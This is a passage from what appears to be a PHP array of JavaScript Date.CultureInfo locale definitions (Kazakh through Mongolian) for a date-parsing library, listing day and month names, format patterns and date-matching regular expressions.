(Қазақстан)",dayNames:["Жексенбі","Дүйсенбі","Сейсенбі","Сәрсенбі","Бейсенбі","Жұма","Сенбі"],abbreviatedDayNames:["Жк","Дс","Сс","Ср","Бс","Жм","Сн"],shortestDayNames:["Жк","Дс","Сс","Ср","Бс","Жм","Сн"],firstLetterDayNames:["Ж","Д","С","С","Б","Ж","С"],monthNames:["қаңтар","ақпан","наурыз","сәуір","мамыр","маусым","шілде","тамыз","қыркүйек","қазан","қараша","желтоқсан"],abbreviatedMonthNames:["Қаң","Ақп","Нау","Сәу","Мам","Мау","Шіл","Там","Қыр","Қаз","Қар","Жел"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd.MM.yyyy",longDate:"d MMMM yyyy \'ж.\'",shortTime:"H:mm",longTime:"H:mm:ss",fullDateTime:"d MMMM yyyy \'ж.\' H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"d MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^қаң(тар)?/i,feb:/^ақп(ан)?/i,mar:/^нау(рыз)?/i,apr:/^сәу(ір)?/i,may:/^мам(ыр)?/i,jun:/^мау(сым)?/i,jul:/^шіл(де)?/i,aug:/^там(ыз)?/i,sep:/^қыр(күйек)?/i,oct:/^қаз(ан)?/i,nov:/^қар(аша)?/i,dec:/^жел(тоқсан)?/i,sun:/^жексенбі/i,mon:/^дүйсенбі/i,tue:/^сейсенбі/i,wed:/^сәрсенбі/i,thu:/^бейсенбі/i,fri:/^жұма/i,sat:/^сенбі/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'kn-IN' => 'Date.CultureInfo={name:"kn-IN",englishName:"Kannada (India)",nativeName:"ಕನ್ನಡ (ಭಾರತ)",dayNames:["ಭಾನುವಾರ","ಸೋಮವಾರ","ಮಂಗಳವಾರ","ಬುಧವಾರ","ಗುರುವಾರ","ಶುಕ್ರವಾರ","ಶನಿವಾರ"],abbreviatedDayNames:["ಭಾನು.","ಸೋಮ.","ಮಂಗಳ.","ಬುಧ.","ಗುರು.","ಶುಕ್ರ.","ಶನಿ."],shortestDayNames:["ರ","ಸ","ಮ","ಬ","ಗ","ಶ","ಶ"],firstLetterDayNames:["ರ","ಸ","ಮ","ಬ","ಗ","ಶ","ಶ"],monthNames:["ಜನವರಿ","ಫೆಬ್ರವರಿ","ಮಾರ್ಚ್","ಎಪ್ರಿಲ್","ಮೇ","ಜೂನ್","ಜುಲೈ","ಆಗಸ್ಟ್","ಸೆಪ್ಟಂಬರ್","ಅಕ್ಟೋಬರ್","ನವೆಂಬರ್","ಡಿಸೆಂಬರ್"],abbreviatedMonthNames:["ಜನವರಿ","ಫೆಬ್ರವರಿ","ಮಾರ್ಚ್","ಎಪ್ರಿಲ್","ಮೇ","ಜೂನ್","ಜುಲೈ","ಆಗಸ್ಟ್","ಸೆಪ್ಟಂಬರ್","ಅಕ್ಟೋಬರ್","ನವೆಂಬರ್","ಡಿಸೆಂಬರ್"],amDesignator:"ಪೂರ್ವಾಹ್ನ",pmDesignator:"ಅಪರಾಹ್ನ",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd-MM-yy",longDate:"dd MMMM yyyy",shortTime:"HH:mm",longTime:"HH:mm:ss",fullDateTime:"dd MMMM yyyy HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM, yyyy"},regexPatterns:{jan:/^ಜನವರಿ/i,feb:/^ಫೆಬ್ರವರಿ/i,mar:/^ಮಾರ್ಚ್/i,apr:/^ಎಪ್ರಿಲ್/i,may:/^ಮೇ/i,jun:/^ಜೂನ್/i,jul:/^ಜುಲೈ/i,aug:/^ಆಗಸ್ಟ್/i,sep:/^ಸೆಪ್ಟಂಬರ್/i,oct:/^ಅಕ್ಟೋಬರ್/i,nov:/^ನವೆಂಬರ್/i,dec:/^ಡಿಸೆಂಬರ್/i,sun:/^ರ(ಾನು(.(ವಾರ)?)?)?/i,mon:/^ಸ(ೋಮ(.(ವಾರ)?)?)?/i,tue:/^ಮ(ಂಗಳ(.(ವಾರ)?)?)?/i,wed:/^ಬ(ುಧ(.(ವಾರ)?)?)?/i,thu:/^ಗ(ುರು(.(ವಾರ)?)?)?/i,fri:/^ಶ(ುಕ್ರ(.(ವಾರ)?)?)?/i,sat:/^ಶ(ನಿ(.(ವಾರ)?)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'ko-KR' => 'Date.CultureInfo={name:"ko-KR",englishName:"Korean (Korea)",nativeName:"한국어 (대한민국)",dayNames:["일요일","월요일","화요일","수요일","목요일","금요일","토요일"],abbreviatedDayNames:["일","월","화","수","목","금","토"],shortestDayNames:["일","월","화","수","목","금","토"],firstLetterDayNames:["일","월","화","수","목","금","토"],monthNames:["1월","2월","3월","4월","5월","6월","7월","8월","9월","10월","11월","12월"],abbreviatedMonthNames:["1","2","3","4","5","6","7","8","9","10","11","12"],amDesignator:"오전",pmDesignator:"오후",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:"ymd",formatPatterns:{shortDate:"yyyy-MM-dd",longDate:"yyyy\'년\' M\'월\' d\'일\' dddd",shortTime:"tt h:mm",longTime:"tt h:mm:ss",fullDateTime:"yyyy\'년\' M\'월\' d\'일\' dddd tt h:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"M\'월\' d\'일\'",yearMonth:"yyyy\'년\' M\'월\'"},regexPatterns:{jan:/^1(월)?/i,feb:/^2(월)?/i,mar:/^3(월)?/i,apr:/^4(월)?/i,may:/^5(월)?/i,jun:/^6(월)?/i,jul:/^7(월)?/i,aug:/^8(월)?/i,sep:/^9(월)?/i,oct:/^10(월)?/i,nov:/^11(월)?/i,dec:/^12(월)?/i,sun:/^일요일/i,mon:/^월요일/i,tue:/^화요일/i,wed:/^수요일/i,thu:/^목요일/i,fri:/^금요일/i,sat:/^토요일/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'kok-IN' => 'Date.CultureInfo={name:"kok-IN",englishName:"Konkani (India)",nativeName:"कोंकणी (भारत)",dayNames:["आयतार","सोमार","मंगळार","बुधवार","बिरेस्तार","सुक्रार","शेनवार"],abbreviatedDayNames:["आय.","सोम.","मंगळ.","बुध.","बिरे.","सुक्र.","शेन."],shortestDayNames:["आ","स","म","ब","ब","स","श"],firstLetterDayNames:["आ","स","म","ब","ब","स","श"],monthNames:["जानेवारी","फेब्रुवारी","मार्च","एप्रिल","मे","जून","जुलै","ऑगस्ट","सप्टेंबर","ऑक्टोबर","नोवेम्बर","डिसेंबर"],abbreviatedMonthNames:["जानेवारी","फेब्रुवारी","मार्च","एप्रिल","मे","जून","जुलै","ऑगस्ट","सप्टेंबर","ऑक्टोबर","नोवेम्बर","डिसेंबर"],amDesignator:"म.पू.",pmDesignator:"म.नं.",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd-MM-yyyy",longDate:"dd MMMM yyyy",shortTime:"HH:mm",longTime:"HH:mm:ss",fullDateTime:"dd MMMM yyyy HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM, yyyy"},regexPatterns:{jan:/^जानेवारी/i,feb:/^फेब्रुवारी/i,mar:/^मार्च/i,apr:/^एप्रिल/i,may:/^मे/i,jun:/^जून/i,jul:/^जुलै/i,aug:/^ऑगस्ट/i,sep:/^सप्टेंबर/i,oct:/^ऑक्टोबर/i,nov:/^नोवेम्बर/i,dec:/^डिसेंबर/i,sun:/^आ(य(.(तार)?)?)?/i,mon:/^स(ोम(.(ार)?)?)?/i,tue:/^म(ंगळ(.(ार)?)?)?/i,wed:/^ब(ुध(.(वार)?)?)?/i,thu:/^ब(िरे(.(स्तार)?)?)?/i,fri:/^स(ुक्र(.(ार)?)?)?/i,sat:/^श(ेन(.(वार)?)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'ky-KG' => 'Date.CultureInfo={name:"ky-KG",englishName:"Kyrgyz (Kyrgyzstan)",nativeName:"Кыргыз (Кыргызстан)",dayNames:["Жекшемби","Дүйшөмбү","Шейшемби","Шаршемби","Бейшемби","Жума","Ишемби"],abbreviatedDayNames:["Жш","Дш","Шш","Шр","Бш","Жм","Иш"],shortestDayNames:["Жш","Дш","Шш","Шр","Бш","Жм","Иш"],firstLetterDayNames:["Ж","Д","Ш","Ш","Б","Ж","И"],monthNames:["Январь","Февраль","Март","Апрель","Май","Июнь","Июль","Август","Сентябрь","Октябрь","Ноябрь","Декабрь"],abbreviatedMonthNames:["Янв","Фев","Мар","Апр","Май","Июн","Июл","Авг","Сен","Окт","Ноя","Дек"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd.MM.yy",longDate:"d\'-\'MMMM yyyy\'-ж.\'",shortTime:"H:mm",longTime:"H:mm:ss",fullDateTime:"d\'-\'MMMM yyyy\'-ж.\' H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"d MMMM",yearMonth:"MMMM yyyy\'-ж.\'"},regexPatterns:{jan:/^янв(арь)?/i,feb:/^фев(раль)?/i,mar:/^мар(т)?/i,apr:/^апр(ель)?/i,may:/^май/i,jun:/^июн(ь)?/i,jul:/^июл(ь)?/i,aug:/^авг(уст)?/i,sep:/^сен(тябрь)?/i,oct:/^окт(ябрь)?/i,nov:/^ноя(брь)?/i,dec:/^дек(абрь)?/i,sun:/^жекшемби/i,mon:/^дүйшөмбү/i,tue:/^шейшемби/i,wed:/^шаршемби/i,thu:/^бейшемби/i,fri:/^жума/i,sat:/^ишемби/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'lt-LT' => 'Date.CultureInfo={name:"lt-LT",englishName:"Lithuanian (Lithuania)",nativeName:"lietuvių (Lietuva)",dayNames:["sekmadienis","pirmadienis","antradienis","trečiadienis","ketvirtadienis","penktadienis","šeštadienis"],abbreviatedDayNames:["Sk","Pr","An","Tr","Kt","Pn","Št"],shortestDayNames:["S","P","A","T","K","Pn","Š"],firstLetterDayNames:["S","P","A","T","K","P","Š"],monthNames:["sausis","vasaris","kovas","balandis","gegužė","birželis","liepa","rugpjūtis","rugsėjis","spalis","lapkritis","gruodis"],abbreviatedMonthNames:["Sau","Vas","Kov","Bal","Geg","Bir","Lie","Rgp","Rgs","Spl","Lap","Grd"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"ymd",formatPatterns:{shortDate:"yyyy.MM.dd",longDate:"yyyy \'m.\' MMMM d \'d.\'",shortTime:"HH:mm",longTime:"HH:mm:ss",fullDateTime:"yyyy \'m.\' MMMM d \'d.\' HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"MMMM d \'d.\'",yearMonth:"yyyy \'m.\' MMMM"},regexPatterns:{jan:/^sau(sis)?/i,feb:/^vas(aris)?/i,mar:/^kov(as)?/i,apr:/^bal(andis)?/i,may:/^geg(užė)?/i,jun:/^bir(želis)?/i,jul:/^lie(pa)?/i,aug:/^rugpjūtis/i,sep:/^rugsėjis/i,oct:/^spalis/i,nov:/^lap(kritis)?/i,dec:/^gruodis/i,sun:/^s(k(kmadienis)?)?/i,mon:/^p(r(rmadienis)?)?/i,tue:/^a(n(tradienis)?)?/i,wed:/^t(r(ečiadienis)?)?/i,thu:/^k(t(tvirtadienis)?)?/i,fri:/^penktadienis/i,sat:/^š(t(štadienis)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'lv-LV' => 'Date.CultureInfo={name:"lv-LV",englishName:"Latvian (Latvia)",nativeName:"latviešu (Latvija)",dayNames:["svētdiena","pirmdiena","otrdiena","trešdiena","ceturtdiena","piektdiena","sestdiena"],abbreviatedDayNames:["Sv","Pr","Ot","Tr","Ce","Pk","Se"],shortestDayNames:["Sv","Pr","Ot","Tr","Ce","Pk","Se"],firstLetterDayNames:["S","P","O","T","C","P","S"],monthNames:["janvāris","februāris","marts","aprīlis","maijs","jūnijs","jūlijs","augusts","septembris","oktobris","novembris","decembris"],abbreviatedMonthNames:["Jan","Feb","Mar","Apr","Mai","Jūn","Jūl","Aug","Sep","Okt","Nov","Dec"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"ymd",formatPatterns:{shortDate:"yyyy.MM.dd.",longDate:"dddd, yyyy\'. gada \'d. MMMM",shortTime:"H:mm",longTime:"H:mm:ss",fullDateTime:"dddd, yyyy\'. gada \'d. MMMM H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"d. MMMM",yearMonth:"yyyy. MMMM"},regexPatterns:{jan:/^jan(vāris)?/i,feb:/^feb(ruāris)?/i,mar:/^mar(ts)?/i,apr:/^apr(īlis)?/i,may:/^mai(js)?/i,jun:/^jūn(ijs)?/i,jul:/^jūl(ijs)?/i,aug:/^aug(usts)?/i,sep:/^sep(tembris)?/i,oct:/^okt(obris)?/i,nov:/^nov(embris)?/i,dec:/^dec(embris)?/i,sun:/^svētdiena/i,mon:/^pirmdiena/i,tue:/^otrdiena/i,wed:/^trešdiena/i,thu:/^ceturtdiena/i,fri:/^piektdiena/i,sat:/^sestdiena/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'mi-NZ' => 'Date.CultureInfo={name:"mi-NZ",englishName:"Maori (New Zealand)",nativeName:"Reo Māori (Aotearoa)",dayNames:["Rātapu","Mane","Tūrei","Wenerei","Tāite","Paraire","Hātarei"],abbreviatedDayNames:["Ta","Ma","Tū","We","Tāi","Pa","Hā"],shortestDayNames:["Ta","Ma","Tū","We","Tāi","Pa","Hā"],firstLetterDayNames:["T","M","T","W","T","P","H"],monthNames:["Kohi-tātea","Hui-tanguru","Poutū-te-rangi","Paenga-whāwhā","Haratua","Pipiri","Hōngoingoi","Here-turi-kōkā","Mahuru","Whiringa-ā-nuku","Whiringa-ā-rangi","Hakihea"],abbreviatedMonthNames:["Kohi","Hui","Pou","Pae","Hara","Pipi","Hōngoi","Here","Mahu","Whi-nu","Whi-ra","Haki"],amDesignator:"a.m.",pmDesignator:"p.m.",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"d/MM/yyyy",longDate:"dddd, d MMMM yyyy",shortTime:"h:mm:ss tt",longTime:"h:mm:ss tt",fullDateTime:"dddd, d MMMM yyyy h:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"MMMM dd",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^kohi(-tātea)?/i,feb:/^hui(-tanguru)?/i,mar:/^pou(tū-te-rangi)?/i,apr:/^pae(nga-whāwhā)?/i,may:/^hara(tua)?/i,jun:/^pipi(ri)?/i,jul:/^hōngoi(ngoi)?/i,aug:/^here(-turi-kōkā)?/i,sep:/^mahu(ru)?/i,oct:/^whiringa-ā-nuku/i,nov:/^whiringa-ā-rangi/i,dec:/^haki(hea)?/i,sun:/^rātapu/i,mon:/^mane/i,tue:/^tūrei/i,wed:/^wenerei/i,thu:/^tāite/i,fri:/^paraire/i,sat:/^hātarei/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'mk-MK' => 'Date.CultureInfo={name:"mk-MK",englishName:"Macedonian",nativeName:"македонски јазик (Македонија)",dayNames:["недела","понеделник","вторник","среда","четврток","петок","сабота"],abbreviatedDayNames:["нед","пон","втр","срд","чет","пет","саб"],shortestDayNames:["не","по","вт","ср","че","пе","са"],firstLetterDayNames:["н","п","в","с","ч","п","с"],monthNames:["јануари","февруари","март","април","мај","јуни","јули","август","септември","октомври","ноември","декември"],abbreviatedMonthNames:["јан","фев","мар","апр","мај","јун","јул","авг","сеп","окт","ное","дек"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd.MM.yyyy",longDate:"dddd, dd MMMM yyyy",shortTime:"HH:mm",longTime:"HH:mm:ss",fullDateTime:"dddd, dd MMMM yyyy HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^јан(уари)?/i,feb:/^фев(руари)?/i,mar:/^мар(т)?/i,apr:/^апр(ил)?/i,may:/^мај/i,jun:/^јун(и)?/i,jul:/^јул(и)?/i,aug:/^авг(уст)?/i,sep:/^сеп(тември)?/i,oct:/^окт(омври)?/i,nov:/^ное(мври)?/i,dec:/^дек(ември)?/i,sun:/^не(д(ела)?)?/i,mon:/^по(н(еделник)?)?/i,tue:/^вт(р(рник)?)?/i,wed:/^ср(д(да)?)?/i,thu:/^че(т(врток)?)?/i,fri:/^пе(т(ок)?)?/i,sat:/^са(б(ота)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'mn-MN' => 'Date.CultureInfo={name:"mn-MN",englishName:"Mongolian (Cyrillic, Mongolia)",nativeName:"Монгол хэл (Монгол улс)",dayNames:["Ням","Даваа","Мягмар","Лхагва","Пүрэв","Баасан","Бямба"],abbreviatedDayNames:["Ня","Да","Мя","Лх","Пү","Ба","Бя"],shortestDayNames:["Ня","Да","Мя","Лх","Пү","Ба","Бя"],firstLetterDayNames:["Н","Д","М","Л","П","Б","Б"],monthNames:["1 дүгээр сар","2 дугаар сар","3 дугаар сар","4 дүгээр сар","5 дугаар сар","6 дугаар сар","7 дугаар сар","8 дугаар сар","9 дүгээр сар","10 дугаар сар","11 дүгээр сар","12 дугаар сар"],abbreviatedMonthNames:["I","II","III","IV","V","VI","VII","VШ","IX","X","XI","XII"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"ymd",formatPatterns:{shortDate:"yy.MM.dd",longDate:"yyyy \'оны\' MMMM d",shortTime:"H:mm",longTime:"H:mm:ss",fullDateTime:"yyyy \'оны\' MMMM d H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"d MMMM",yearMonth:"yyyy \'он\' MMMM"},regexPatterns:{jan:/^1 дүгээр сар/i,feb:/^2 дугаар сар/i,mar:/^3 дугаар сар/i,apr:/^4 дүгээр сар/i,may:/^5 дугаар сар/i,jun:/^6 дугаар сар/i,jul:/^7 дугаар сар/i,aug:/^8 дугаар сар/i,sep:/^9 дүгээр сар/i,oct:/^10 дугаар сар/i,nov:/^11 дүгээр сар/i,dec:/^12 дугаар 